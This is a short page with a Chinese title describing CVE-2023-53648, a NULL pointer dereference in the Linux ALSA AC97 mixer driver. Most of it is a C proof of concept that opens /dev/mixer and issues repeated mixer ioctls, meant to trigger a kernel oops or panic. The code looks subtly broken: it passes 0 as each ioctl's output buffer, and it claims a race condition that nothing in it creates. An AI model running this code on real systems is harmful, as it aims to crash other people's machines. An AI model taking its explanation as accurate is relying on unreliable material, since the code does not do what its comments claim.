CVE-2023-53648：Linux内核ALSA AC97驱动空指针解引用漏洞

/* * CVE-2023-53648 PoC - Linux Kernel ALSA AC97 NULL Pointer Dereference * * This PoC demonstrates how to trigger the NULL pointer dereference * in snd_ac97_mixer() by manipulating AC97 codec initialization. * * Note: This requires local access and appropriate privileges to load * AC97 audio driver modules. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/soundcard.h> int main(int argc, char *argv[]) { int fd; int ret; /* Open the AC97 mixer device */ fd = open("/dev/mixer", O_RDWR); if (fd < 0) { perror("Failed to open /dev/mixer"); /* Try alternative mixer device paths */ fd = open("/dev/sound/mixer", O_RDWR); if (fd < 0) { perror("Failed to open mixer device"); return 1; } } /* Trigger snd_ac97_mixer() with conditions that lead to NULL rac97 */ /* Perform mixer operations that invoke the vulnerable code path */ ret = ioctl(fd, SOUND_MIXER_READ_VOLUME, 0); if (ret < 0) { perror("ioctl failed"); } /* Attempt to trigger the NULL dereference path */ /* By performing rapid open/close operations on the mixer device, * we can trigger race conditions where rac97 becomes NULL */ close(fd); /* Re-open and perform operations to trigger vulnerability */ fd = open("/dev/mixer", O_RDWR); if (fd >= 0) { /* Rapid sequence of mixer ioctl calls to trigger the bug */ ioctl(fd, SOUND_MIXER_READ_DEVMASK, 0); ioctl(fd, SOUND_MIXER_READ_RECMASK, 0); ioctl(fd, SOUND_MIXER_READ_STEREODEVS, 0); ioctl(fd, SOUND_MIXER_READ_CAPS, 0); close(fd); } printf("PoC execution completed. Check kernel logs for oops/panic.\n"); return 0; }